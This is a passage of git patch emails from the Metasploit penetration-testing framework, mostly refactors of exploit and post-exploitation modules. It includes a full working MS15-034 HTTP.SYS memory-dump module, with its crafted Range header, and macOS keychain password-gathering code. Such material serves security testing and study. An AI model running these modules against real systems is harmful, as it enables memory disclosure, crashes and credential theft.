[client.addr[2], client.addr[1]]) - context = OpenSSL::SSL::SSLContext.new(:TLSv1_2) - context.verify_mode = OpenSSL::SSL::VERIFY_NONE - - tcp_socket = TCPSocket.new(fake_host, fake_port) - fake_server = OpenSSL::SSL::SSLSocket.new(tcp_socket, context) - fake_server.connect + fake_server = Rex::Socket::Tcp.create( + 'PeerHost' => fake_host, + 'PeerPort' => fake_port, + 'SSL' => true, + 'SSLVerifyMode' => 'NONE', + 'Context' => + { + 'Msf' => framework, + 'MsfExploit' => self + }) print_status('Connected to %s:%d' % [fake_host, fake_port]) - server = TCPSocket.new(host, port) + server = Rex::Socket::Tcp.create( + 'PeerHost' => host, + 'PeerPort' => port, + 'Context' => + { + 'Msf' => framework, + 'MsfExploit' => self + }) print_status('Connected to %s:%d' % [host, port]) From 732192aeaf59e3bd554add22e1a7ab5b8ec4d08f Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Mon, 22 Jun 2015 09:04:08 -0500 Subject: [PATCH 0496/1013] move ntds from priv to extapi --- lib/metasploit/framework/ntds/parser.rb | 6 +-- .../meterpreter/extensions/extapi/extapi.rb | 2 + .../extensions/extapi/ntds/ntds.rb | 39 +++++++++++++++++++ .../post/meterpreter/extensions/extapi/tlv.rb | 3 ++ .../post/meterpreter/extensions/priv/priv.rb | 11 ------ .../post/meterpreter/extensions/priv/tlv.rb | 3 -- 6 files changed, 47 insertions(+), 17 deletions(-) create mode 100644 lib/rex/post/meterpreter/extensions/extapi/ntds/ntds.rb diff --git a/lib/metasploit/framework/ntds/parser.rb b/lib/metasploit/framework/ntds/parser.rb index ac7a8c0274..7c4d91890c 100644 --- a/lib/metasploit/framework/ntds/parser.rb +++ b/lib/metasploit/framework/ntds/parser.rb @@ -19,7 +19,7 @@ module Metasploit def initialize(client, file_path='') raise ArgumentError, "Invalid Filepath" unless file_path.present? @file_path = file_path - @channel = client.priv.ntds_parse(file_path) + @channel = client.extapi.ntds.parse(file_path) @client = client end @@ -61,10 +61,10 @@ module Metasploit end def reopen_channel - @channel = client.priv.ntds_parse(file_path) + @channel = client.extapi.ntds.parse(file_path) end end end end -end \ No newline at end of file +end diff --git a/lib/rex/post/meterpreter/extensions/extapi/extapi.rb b/lib/rex/post/meterpreter/extensions/extapi/extapi.rb index 31a3cd45af..ecc0852d9a 100644 --- a/lib/rex/post/meterpreter/extensions/extapi/extapi.rb +++ b/lib/rex/post/meterpreter/extensions/extapi/extapi.rb @@ -5,6 +5,7 @@ require 'rex/post/meterpreter/extensions/extapi/window/window' require 'rex/post/meterpreter/extensions/extapi/service/service' require 'rex/post/meterpreter/extensions/extapi/clipboard/clipboard' require 'rex/post/meterpreter/extensions/extapi/adsi/adsi' +require 'rex/post/meterpreter/extensions/extapi/ntds/ntds' require 'rex/post/meterpreter/extensions/extapi/wmi/wmi' module Rex @@ -34,6 +35,7 @@ class Extapi < Extension 'service' => Rex::Post::Meterpreter::Extensions::Extapi::Service::Service.new(client), 'clipboard' => Rex::Post::Meterpreter::Extensions::Extapi::Clipboard::Clipboard.new(client), 'adsi' => Rex::Post::Meterpreter::Extensions::Extapi::Adsi::Adsi.new(client), + 'ntds' => Rex::Post::Meterpreter::Extensions::Extapi::Ntds::Ntds.new(client), 'wmi' => Rex::Post::Meterpreter::Extensions::Extapi::Wmi::Wmi.new(client) }) }, diff --git a/lib/rex/post/meterpreter/extensions/extapi/ntds/ntds.rb b/lib/rex/post/meterpreter/extensions/extapi/ntds/ntds.rb new file mode 100644 index 0000000000..8900434fd7 --- /dev/null +++ b/lib/rex/post/meterpreter/extensions/extapi/ntds/ntds.rb @@ -0,0 +1,39 @@ +# -*- coding: binary -*- + +module Rex +module Post +module Meterpreter +module Extensions +module Extapi +module Ntds + +### +# +# This meterpreter extension contains extended API functions for +# parsing the NT Directory Service database. +# +### +class Ntds + + def initialize(client) + @client = client + end + + def parse(filepath) + request = Packet.create_request('extapi_ntds_parse') + request.add_tlv( TLV_TYPE_NTDS_PATH, filepath) + # wait up to 90 seconds for a response + response = client.send_request(request, 90) + channel_id = response.get_tlv_value(TLV_TYPE_CHANNEL_ID) + if channel_id.nil? + raise Exception, "We did not get a channel back!" + end + Rex::Post::Meterpreter::Channels::Pool.new(client, channel_id, "extapi_ntds", CHANNEL_FLAG_SYNCHRONOUS) + end + + attr_accessor :client + +end + +end; end; end; end; end; end + diff --git a/lib/rex/post/meterpreter/extensions/extapi/tlv.rb b/lib/rex/post/meterpreter/extensions/extapi/tlv.rb index 0a96954776..99a7cf3a85 100644 --- a/lib/rex/post/meterpreter/extensions/extapi/tlv.rb +++ b/lib/rex/post/meterpreter/extensions/extapi/tlv.rb @@ -72,6 +72,9 @@ TLV_TYPE_EXT_ADSI_PATH_PATH = TLV_META_TYPE_STRING | (TLV_TYPE_E TLV_TYPE_EXT_ADSI_PATH_TYPE = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 69) TLV_TYPE_EXT_ADSI_DN = TLV_META_TYPE_GROUP | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 70) +TLV_TYPE_NTDS_TEST = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 80) +TLV_TYPE_NTDS_PATH = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 81) + TLV_TYPE_EXT_WMI_DOMAIN = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 90) TLV_TYPE_EXT_WMI_QUERY = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 91) TLV_TYPE_EXT_WMI_FIELD = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 92) diff --git a/lib/rex/post/meterpreter/extensions/priv/priv.rb b/lib/rex/post/meterpreter/extensions/priv/priv.rb index 12bed0d606..96a2e4fc6f 100644 --- a/lib/rex/post/meterpreter/extensions/priv/priv.rb +++ b/lib/rex/post/meterpreter/extensions/priv/priv.rb @@ -95,17 +95,6 @@ class Priv < Extension } end - def ntds_parse(filepath) - request = Packet.create_request( 'priv_ntds_parse' ) - request.add_tlv( TLV_TYPE_NTDS_PATH, filepath) - response = client.send_request( request, 90 ) - channel_id = response.get_tlv_value(TLV_TYPE_CHANNEL_ID) - if channel_id.nil? - raise Exception, "We did not get a channel back!" - end - Rex::Post::Meterpreter::Channels::Pool.new(client, channel_id, "priv_ntds", CHANNEL_FLAG_SYNCHRONOUS) - end - # # Modifying privileged file system attributes. # diff --git a/lib/rex/post/meterpreter/extensions/priv/tlv.rb b/lib/rex/post/meterpreter/extensions/priv/tlv.rb index 37fbc50bc5..92cf1b7f4a 100644 --- a/lib/rex/post/meterpreter/extensions/priv/tlv.rb +++ b/lib/rex/post/meterpreter/extensions/priv/tlv.rb @@ -22,9 +22,6 @@ TLV_TYPE_ELEVATE_SERVICE_NAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 2 TLV_TYPE_ELEVATE_SERVICE_DLL = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 202) TLV_TYPE_ELEVATE_SERVICE_LENGTH = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 203) -#NTDS -TLV_TYPE_NTDS_PATH = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 301) - end end end From 774aef7241ab4b905a445a7e075cbff2e672f610 Mon Sep 17 00:00:00 2001 From: rwhitcroft Date: Mon, 22 Jun 2015 10:31:31 -0400 Subject: [PATCH 0497/1013] add module to dump memory via MS15-034 --- .../http/ms15034_http_sys_memory_dump.rb | 186 ++++++++++++++++++ 1 file changed, 186 insertions(+) create mode 100644 modules/auxiliary/scanner/http/ms15034_http_sys_memory_dump.rb diff --git a/modules/auxiliary/scanner/http/ms15034_http_sys_memory_dump.rb b/modules/auxiliary/scanner/http/ms15034_http_sys_memory_dump.rb new file mode 100644 index 0000000000..9c3b84dd10 --- /dev/null +++ b/modules/auxiliary/scanner/http/ms15034_http_sys_memory_dump.rb @@ -0,0 +1,186 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'rex/proto/http' +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Scanner + + def initialize + super( + 'Name' => 'MS15-034 HTTP.SYS Memory Dump', + 'Description' => %q{ + Dumps memory contents using a crafted Range header. + Reportedly affects Win7 and up, tested against Win8.1 and + Server 2012R2 with no crashes. Note that if the target is + running in VMware Workstation, this module has a high likelihood + of resulting in BSOD. However, VMware ESX and non-virtualized + hosts seem stable. Using a larger target file should result + in more memory being dumped, and SSL seems to produce more data + as well. + }, + 'Author' => 'Rich Whitcroft ', + 'License' => MSF_LICENSE, + 'References' => [ ['URL', 'http://securitysift.com/an-analysis-of-ms15-034/'] ] + ) + + register_options([ + OptString.new('TARGET_URI', [ true, 'The path to the resource (must exist!)', '/iisstart.htm' ]), + OptInt.new('RPORT', [ true, 'The target port', 443 ]), + OptBool.new('SSL', [ true, 'Use SSL?', true ]), + OptBool.new('SUPPRESS_REQUEST', [ true, 'Suppress output of the requested resource', true ]) + ], self.class) + + deregister_options('VHOST') + end + + def check + res = send_request_raw({ + 'uri' => datastore['TARGET_URI'], + 'method' => 'GET', + 'headers' => { + 'Range' => 'bytes=0-18446744073709551615' + } + }) + unless res + print_error("Error in send_request_raw") + return false + end + + return (res.body.include?("Requested Range Not Satisfiable") ? true : false) + end + + def dump(data) + # clear out the returned resource + if datastore['SUPPRESS_REQUEST'] + dump_start = data.index('HTTP/1.1 200 OK') + if dump_start + data[0..dump_start-1] = '' + else + print_error("Memory dump start position not found, dumping all data instead") + end + end + + i = 1 + bytes_per_line = 16 + lines_suppressed = 0 + bytes = String.new + chars = String.new + + print_good("Memory contents:") + + data.each_byte do |b| + bytes << "%02x" % b.ord + + if b.ord.between?(32, 126) + chars << b.chr + else + chars << "." + end + + if i > 1 and i % bytes_per_line == 0 + if bytes !~ /^[0f]{32}$/ + bytes.gsub!(/(.{4})/, '\1 ') + print_status("#{bytes} #{chars}") + else + lines_suppressed += 1 + end + + bytes.clear + chars.clear + end + + i += 1 + end + + print_status("Suppressed #{lines_suppressed} uninteresting lines") unless lines_suppressed.zero? + end + + def run_host(ip) + begin + unless check + print_error("Target is not vulnerable") + return + else + print_good("Target is vulnerable!") + end + + # determine the size of the resource + res = send_request_raw({ 'uri' => datastore['TARGET_URI'], 'method' => 'GET' }) + unless res + print_error("Error in send_request_raw") + return + end + + if res.code == 200 + content_length = res.headers['Content-Length'].to_i + print_good("Content length is #{content_length} bytes") + else + print_error("Error: HTTP code #{res.code}") + return + end + + # build the Range header + ranges = "bytes=3-18446744073709551615" + range_step = 100 + for range_start in (1..content_length).step(range_step) do + range_end = range_start + range_step - 1 + range_end = content_length if range_end > content_length + ranges << ",#{range_start}-#{range_end}" + end + + sock_opts = { + 'SSL' => datastore['SSL'], + 'SSLVersion' => datastore['SSLVersion'], + 'LocalHost' => nil, + 'PeerHost' => ip, + 'PeerPort' => datastore['RPORT'] + } + + sock = Rex::Socket::Tcp.create(sock_opts) + + req = "GET #{datastore['TARGET_URI']} HTTP/1.1\r\nHost: #{ip}\r\nRange: #{ranges}\r\n\r\n" + sock.put(req) + + print_good("Stand by...") + + resp = String.new + loop do + sleep 2 + + begin + buf = sock.get_once(-1, 2) + if buf + resp << buf + else + break + end + rescue + break + end + end + + if resp and not resp.empty? + dump(resp) + loot_path = store_loot('iis.ms15034', 'application/octet-stream', ip, resp, nil, 'MS15-034 HTTP.SYS Memory Dump') + print_status("Memory dump saved to #{loot_path}") + else + print_error("Error receiving from socket or no data received") + return + end + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout + print_error("Unable to connect") + return + rescue ::Timeout::Error, ::Errno::EPIPE + print_error("Timeout receiving from socket") + return + ensure + sock.close if sock + end + end +end From 6a00ce62de4e9f177b14a8ee63518f31923e46d7 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 22 Jun 2015 12:24:31 -0500 Subject: [PATCH 0498/1013] Update persistence module * Delete unused method --- modules/exploits/windows/local/persistence.rb | 18 ------------------ 1 file changed, 18 deletions(-) diff --git a/modules/exploits/windows/local/persistence.rb b/modules/exploits/windows/local/persistence.rb index bd04998af2..d86b67c1be 100644 --- a/modules/exploits/windows/local/persistence.rb +++ b/modules/exploits/windows/local/persistence.rb @@ -145,24 +145,6 @@ class Metasploit3 < Msf::Exploit::Local return tempvbs end - # Executes script on target and returns true if it was successfully started - def target_exec(script_on_target) - execsuccess = true - print_status("Executing script #{script_on_target}") - # error handling for process.execute() can throw a RequestError in send_request. - begin - unless datastore['EXE::Custom'] - session.shell_command_token(script_on_target) - else - session.shell_command_token("cscript \"#{script_on_target}\"") - end - rescue - print_error("Failed to execute payload on target host.") - execsuccess = false - end - return execsuccess - end - # Installs payload in to the registry HKLM or HKCU def write_to_reg(key, script_on_target, registry_value) nam = registry_value || Rex::Text.rand_text_alpha(rand(8)+8) From 60bdc10aeda20ecc34e0f1ba5edd61ec77a75607 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 22 Jun 2015 13:57:33 -0500 Subject: [PATCH 0499/1013] Update setuid_tunnelblick * Use cmd_exec --- modules/exploits/osx/local/setuid_tunnelblick.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/osx/local/setuid_tunnelblick.rb b/modules/exploits/osx/local/setuid_tunnelblick.rb index 1f2d31b0fe..c77d4a4a2a 100644 --- a/modules/exploits/osx/local/setuid_tunnelblick.rb +++ b/modules/exploits/osx/local/setuid_tunnelblick.rb @@ -61,7 +61,7 @@ class Metasploit4 < Msf::Exploit::Local return CheckCode::Safe end - check = session.shell_command_token("find #{datastore["Tunnelblick"]} -type f -user root -perm -4000") + check = cmd_exec("find #{datastore["Tunnelblick"]} -type f -user root -perm -4000") if check =~ /openvpnstart/ return CheckCode::Vulnerable From d98d2ffd4da8648a5904f47012fd4c3ad1163f77 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 22 Jun 2015 14:04:04 -0500 Subject: [PATCH 0500/1013] Update setuid_viscosity * Use cmd_exec --- modules/exploits/osx/local/setuid_viscosity.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/osx/local/setuid_viscosity.rb b/modules/exploits/osx/local/setuid_viscosity.rb index 1a78b4de19..019a6bb019 100644 --- a/modules/exploits/osx/local/setuid_viscosity.rb +++ b/modules/exploits/osx/local/setuid_viscosity.rb @@ -61,7 +61,7 @@ class Metasploit4 < Msf::Exploit::Local return CheckCode::Safe end - check = session.shell_command_token("find #{datastore["Viscosity"]} -type f -user root -perm -4000") + check = cmd_exec("find #{datastore["Viscosity"]} -type f -user root -perm -4000") if check =~ /ViscosityHelper/ return CheckCode::Vulnerable From d53067b0b760bf5583dedb2d7743e824c59cb267 Mon Sep 17 00:00:00 2001 From: Trevor Rosen Date: Mon, 22 Jun 2015 14:17:29 -0500 Subject: [PATCH 0501/1013] Fix ctype handling for body-less pages #5515 --- lib/msf/core/db_manager/web.rb | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/db_manager/web.rb b/lib/msf/core/db_manager/web.rb index 414846be95..6d3773ba1b 100644 --- a/lib/msf/core/db_manager/web.rb +++ b/lib/msf/core/db_manager/web.rb @@ -142,8 +142,16 @@ module Msf::DBManager::Web page.cookie = opts[:cookie] if opts[:cookie] page.auth = opts[:auth] if opts[:auth] page.mtime = opts[:mtime] if opts[:mtime] - page.ctype = opts[:ctype] if opts[:ctype] + + + if opts[:ctype].blank? || opts[:ctype] == [""] + page.ctype = "" + else + page.ctype = opts[:ctype] + end + page.location = opts[:location] if opts[:location] + msf_import_timestamps(opts, page) page.save! From 784be06b6f140055d5b9d5daa070ee6e2e2527c1 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 22 Jun 2015 14:20:02 -0500 Subject: [PATCH 0502/1013] Update nmap * Use cmd_exec --- modules/exploits/freebsd/local/mmap.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/freebsd/local/mmap.rb b/modules/exploits/freebsd/local/mmap.rb index a8a8b51959..e16a64a85c 100644 --- a/modules/exploits/freebsd/local/mmap.rb +++ b/modules/exploits/freebsd/local/mmap.rb @@ -55,7 +55,7 @@ class Metasploit4 < Msf::Exploit::Local end def check - res = session.shell_command_token("uname -a") + res = cmd_exec('uname -a') return Exploit::CheckCode::Appears if res =~ /FreeBSD 9\.[01]/ Exploit::CheckCode::Safe From 4475b7ec8e23b2ac02b07490f162914a076a42b9 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 22 Jun 2015 14:30:46 -0500 Subject: [PATCH 0503/1013] Update enum_keychain * Use cmd_exec --- modules/post/osx/gather/enum_keychain.rb | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/modules/post/osx/gather/enum_keychain.rb b/modules/post/osx/gather/enum_keychain.rb index 7f464a6c29..deb9ee7eb0 100644 --- a/modules/post/osx/gather/enum_keychain.rb +++ b/modules/post/osx/gather/enum_keychain.rb @@ -29,16 +29,16 @@ class Metasploit3 < Msf::Post end def list_keychains - keychains = session.shell_command_token("security list") - user = session.shell_command_token("whoami") + keychains = cmd_exec("security list") + user = cmd_exec("whoami") print_status("The following keychains for #{user.strip} were found:") print_line(keychains.chomp) return keychains =~ /No such file or directory/ ? nil : keychains end def enum_accounts(keychains) - user = session.shell_command_token("whoami").chomp - out = session.shell_command_token("security dump | egrep 'acct|desc|srvr|svce'") + user = cmd_exec("whoami").chomp + out = cmd_exec("security dump | egrep 'acct|desc|srvr|svce'") i = 0 accounts = {} @@ -73,7 +73,7 @@ class Metasploit3 < Msf::Post s = accounts[num]["svce"] end - cmd = session.shell_command_token("security #{c} -ga \"#{accounts[num]["acct"]}\" -s \"#{s}\" 2>&1") + cmd = cmd_exec("security #{c} -ga \"#{accounts[num]["acct"]}\" -s \"#{s}\" 2>&1") cmd.split("\n").each do |line| if line =~ /password: / @@ -109,7 +109,7 @@ class Metasploit3 < Msf::Post return end - user = session.shell_command_token("/usr/bin/whoami").chomp + user = cmd_exec("/usr/bin/whoami").chomp accounts = enum_accounts(keychains) save(accounts) From 90e17aee6b6fcf327a237523cf4d05dd03f34ade Mon Sep 17 00:00:00 2001 From: rwhitcroft Date: Mon, 22 Jun 2015 15:47:26 -0400 Subject: [PATCH 0504/1013] clarified affected OSes and error messages --- .../http/ms15034_http_sys_memory_dump.rb | 20 +++++++++---------- 1 file changed, 9 insertions(+), 11 deletions(-) diff --git a/modules/auxiliary/scanner/http/ms15034_http_sys_memory_dump.rb b/modules/auxiliary/scanner/http/ms15034_http_sys_memory_dump.rb index 9c3b84dd10..0c367394c6 100644 --- a/modules/auxiliary/scanner/http/ms15034_http_sys_memory_dump.rb +++ b/modules/auxiliary/scanner/http/ms15034_http_sys_memory_dump.rb @@ -15,14 +15,12 @@ class Metasploit3 < Msf::Auxiliary super( 'Name' => 'MS15-034 HTTP.SYS Memory Dump', 'Description' => %q{ - Dumps memory contents using a crafted Range header. - Reportedly affects Win7 and up, tested against Win8.1 and - Server 2012R2 with no crashes. Note that if the target is - running in VMware Workstation, this module has a high likelihood - of resulting in BSOD. However, VMware ESX and non-virtualized - hosts seem stable. Using a larger target file should result - in more memory being dumped, and SSL seems to produce more data - as well. + Dumps memory contents using a crafted Range header. Affects only + Windows 8.1, Server 2012, and Server 2012R2. Note that if the target + is running in VMware Workstation, this module has a high likelihood + of resulting in BSOD; however, VMware ESX and non-virtualized hosts + seem stable. Using a larger target file should result in more memory + being dumped, and SSL seems to produce more data as well. }, 'Author' => 'Rich Whitcroft ', 'License' => MSF_LICENSE, @@ -107,7 +105,7 @@ class Metasploit3 < Msf::Auxiliary print_error("Target is not vulnerable") return else - print_good("Target is vulnerable!") + print_good("Target may be vulnerable...") end # determine the size of the resource @@ -144,7 +142,7 @@ class Metasploit3 < Msf::Auxiliary sock = Rex::Socket::Tcp.create(sock_opts) - req = "GET #{datastore['TARGET_URI']} HTTP/1.1\r\nHost: #{ip}\r\nRange: #{ranges}\r\n\r\n" + req = "GET #{datastore['TARGET_URI']} HTTP/1.1\r\nHost: #{ip}\r\nUser-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)\r\nAccept: */*\r\nConnection: keep-alive\r\nRange: #{ranges}\r\n\r\n" sock.put(req) print_good("Stand by...") @@ -170,7 +168,7 @@ class Metasploit3 < Msf::Auxiliary loot_path = store_loot('iis.ms15034', 'application/octet-stream', ip, resp, nil, 'MS15-034 HTTP.SYS Memory Dump') print_status("Memory dump saved to #{loot_path}") else - print_error("Error receiving from socket or no data received") + print_error("Target does not appear to be vulnerable (must be 8.1, 2012, or 2012R2)") return end rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout From dedfca163d79f914447da713076660058d48f93b Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Mon, 22 Jun 2015 15:05:12 -0500 Subject: [PATCH 0505/1013] Change check() --- .../exploits/windows/local/ms15_051_client_copy_image.rb | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/modules/exploits/windows/local/ms15_051_client_copy_image.rb b/modules/exploits/windows/local/ms15_051_client_copy_image.rb index 9a278c72ae..12b4a247d8 100644 --- a/modules/exploits/windows/local/ms15_051_client_copy_image.rb +++ b/modules/exploits/windows/local/ms15_051_client_copy_image.rb @@ -22,7 +22,7 @@ class Metasploit3 < Msf::Exploit::Local 'Description' => %q{ This module exploits improper object handling in the win32k.sys kernel mode driver. This module has been tested on vulnerable builds of Windows 7 x64 and x86, and - Windows 2008 R2 SP1 x64. The exploit should also work on earlier builds of windows. + Windows 2008 R2 SP1 x64. }, 'License' => MSF_LICENSE, 'Author' => [ @@ -57,6 +57,11 @@ class Metasploit3 < Msf::Exploit::Local end def check + # Windows Server 2008 Enterprise SP2 (32-bit) 6.0.6002.18005 (Does not work) + # Winodws 7 SP1 (64-bit) 6.1.7601.17514 (Works) + # Windows 7 SP1 (32-bit) 6.1.7601.17514 (Works) + # Windows Server 2008 R2 (64-bit) SP1 6.1.7601.17514 (Works) + if sysinfo['OS'] !~ /windows/i return Exploit::CheckCode::Unknown end @@ -71,7 +76,7 @@ class Metasploit3 < Msf::Exploit::Local major, minor, build, revision, branch = file_version(file_path) vprint_status("win32k.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}") - return Exploit::CheckCode::Safe if build > 7601 + return Exploit::CheckCode::Safe if build == 7601 return Exploit::CheckCode::Detected end From a309d99da9f11bdf119d0f1d4655ad585b990a07 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 22 Jun 2015 16:09:30 -0500 Subject: [PATCH 0506/1013] Fix enum_osx * Use cmd_exec --- modules/post/osx/gather/enum_osx.rb | 185 +++++++++++++--------------- 1 file changed, 88 insertions(+), 97 deletions(-) diff --git a/modules/post/osx/gather/enum_osx.rb b/modules/post/osx/gather/enum_osx.rb index 297c8bb561..292418f5f4 100644 --- a/modules/post/osx/gather/enum_osx.rb +++ b/modules/post/osx/gather/enum_osx.rb @@ -33,22 +33,22 @@ class Metasploit3 < Msf::Post when /meterpreter/ host = sysinfo["Computer"] when /shell/ - host = session.shell_command_token("hostname").chomp + host = cmd_exec("hostname").chomp end print_status("Running module against #{host}") running_root = check_root if running_root print_status("This session is running as root!") end + ver_num = get_ver - log_folder = log_folder_create() + log_folder = log_folder_create enum_conf(log_folder) enum_accounts(log_folder, ver_num) get_crypto_keys(log_folder) screenshot(log_folder, ver_num) dump_bash_history(log_folder) get_keychains(log_folder) - end #parse the dslocal plist in lion @@ -86,19 +86,19 @@ class Metasploit3 < Msf::Post #Get hostname case session.type when /meterpreter/ - host = Rex::FileUtils.clean_path(sysinfo["Computer"]) + host = Rex::FileUtils.clean_path(sysinfo['Computer']) when /shell/ - host = Rex::FileUtils.clean_path(session.shell_command_token("hostname").chomp) + host = Rex::FileUtils.clean_path(cmd_exec('hostname').chomp) end # Create Filename info to be appended to downloaded files - filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") + file_name_info = '_' + ::Time.now.strftime('%Y%m%d.%M%S') # Create a directory for the logs if log_path - logs = ::File.join(log_path, 'logs', "enum_osx", host + filenameinfo ) + logs = ::File.join(log_path, 'logs', 'enum_osx', host + file_name_info ) else - logs = ::File.join(Msf::Config.log_directory, "post", "enum_osx", host + filenameinfo ) + logs = ::File.join(Msf::Config.log_directory, 'post', 'enum_osx', host + file_name_info ) end # Create the log directory @@ -111,10 +111,11 @@ class Metasploit3 < Msf::Post # Get only the account ID case session.type when /shell/ - id = session.shell_command_token("/usr/bin/id -ru").chomp + id = cmd_exec("/usr/bin/id -ru").chomp when /meterpreter/ - id = cmd_exec("/usr/bin/id","-ru").chomp + id = cmd_exec("/usr/bin/id", "-ru").chomp end + if id == "0" return true else @@ -129,7 +130,7 @@ class Metasploit3 < Msf::Post when /meterpreter/ osx_ver = cmd_exec("/usr/bin/sw_vers", "-productName").chomp when /shell/ - osx_ver = session.shell_command_token("/usr/bin/sw_vers -productName").chomp + osx_ver = cmd_exec("/usr/bin/sw_vers -productName").chomp end if osx_ver =~/Server/ return true @@ -143,60 +144,57 @@ class Metasploit3 < Msf::Post # Get the OS Version case session.type when /meterpreter/ - osx_ver_num = cmd_exec("/usr/bin/sw_vers", "-productVersion").chomp + osx_ver_num = cmd_exec('/usr/bin/sw_vers', '-productVersion').chomp when /shell/ - osx_ver_num = session.shell_command_token("/usr/bin/sw_vers -productVersion").chomp + osx_ver_num = cmd_exec('/usr/bin/sw_vers -productVersion').chomp end - return osx_ver_num end def enum_conf(log_folder) - platform_type = session.platform + session_type = session.type - profile_datatypes = {"OS" => "SPSoftwareDataType", - "Network" => "SPNetworkDataType", - "Bluetooth" => "SPBluetoothDataType", - "Ethernet" => "SPEthernetDataType", - "Printers" => "SPPrintersDataType", - "USB" => "SPUSBDataType", - "Airport" => "SPAirPortDataType", - "Firewall" => "SPFirewallDataType", - "Known Networks" => "SPNetworkLocationDataType", - "Applications" => "SPApplicationsDataType", - "Development Tools" => "SPDeveloperToolsDataType", - "Frameworks" => "SPFrameworksDataType", - "Logs" => "SPLogsDataType", - "Preference Panes" => "SPPrefPaneDataType", - "StartUp" => "SPStartupItemDataType"} + profile_datatypes = { + 'OS' => 'SPSoftwareDataType', + 'Network' => 'SPNetworkDataType', + 'Bluetooth' => 'SPBluetoothDataType', + 'Ethernet' => 'SPEthernetDataType', + 'Printers' => 'SPPrintersDataType', + 'USB' => 'SPUSBDataType', + 'Airport' => 'SPAirPortDataType', + 'Firewall' => 'SPFirewallDataType', + 'Known Networks' => 'SPNetworkLocationDataType', + 'Applications' => 'SPApplicationsDataType', + 'Development Tools' => 'SPDeveloperToolsDataType', + 'Frameworks' => 'SPFrameworksDataType', + 'Logs' => 'SPLogsDataType', + 'Preference Panes' => 'SPPrefPaneDataType', + 'StartUp' => 'SPStartupItemDataType' + } + shell_commands = { - "TCP Connections" => ["/usr/sbin/netstat","-np tcp"], - "UDP Connections" => ["/usr/sbin/netstat","-np udp"], - "Environment Variables" => ["/usr/bin/printenv",""], - "Last Boottime" => ["/usr/bin/who","-b"], - "Current Activity" => ["/usr/bin/who",""], - "Process List" => ["/bin/ps","-ea"] + 'TCP Connections' => ['/usr/sbin/netstat', '-np tcp'], + 'UDP Connections' => ['/usr/sbin/netstat', '-np udp'], + 'Environment Variables' => ['/usr/bin/printenv', ''], + 'Last Boottime' => ['/usr/bin/who', '-b'], + 'Current Activity' => ['/usr/bin/who', ''], + 'Process List' => ['/bin/ps', '-ea'] } print_status("Saving all data to #{log_folder}") # Enumerate first using System Profiler - profile_datatypes.each do |name,profile_datatypes| + profile_datatypes.each do |name, profile_datatypes| print_status("\tEnumerating #{name}") - # Run commands according to the session type - if session_type =~ /meterpreter/ - - returned_data = cmd_exec("system_profiler",profile_datatypes) - + returned_data = cmd_exec('system_profiler', profile_datatypes) # Save data lo log folder file_local_write(log_folder+"//#{name}.txt",returned_data) elsif session_type =~ /shell/ begin - returned_data = session.shell_command_token("/usr/sbin/system_profiler #{profile_datatypes}",15) - + returned_data = cmd_exec("/usr/sbin/system_profiler #{profile_datatypes}", 15) # Save data lo log folder file_local_write(log_folder+"//#{name}.txt",returned_data) rescue @@ -207,20 +205,14 @@ class Metasploit3 < Msf::Post # Enumerate using system commands shell_commands.each do |name, command| print_status("\tEnumerating #{name}") - # Run commands according to the session type begin if session_type =~ /meterpreter/ - command_output = cmd_exec(command[0],command[1]) - # Save data lo log folder file_local_write(log_folder+"//#{name}.txt",command_output) - elsif session_type =~ /shell/ - - command_output = session.shell_command_token(command.join(" "),15) - + command_output = cmd_exec(command[0], command[1]) # Save data lo log folder file_local_write(log_folder+"//#{name}.txt",command_output) end @@ -235,17 +227,16 @@ class Metasploit3 < Msf::Post # Specific commands for Leopard and Snow Leopard leopard_commands = { - "Users" => ["/usr/bin/dscacheutil","-q user"], - "Groups" => ["/usr/bin/dscacheutil","-q group"] - - } + 'Users' => ['/usr/bin/dscacheutil', '-q user'], + 'Groups' => ['/usr/bin/dscacheutil', '-q group'] + } # Specific commands for Tiger tiger_commands = { - "Users" => ["/usr/sbin/lookupd","-q user"], - "Groups" => ["/usr/sbin/lookupd","-q group"] + 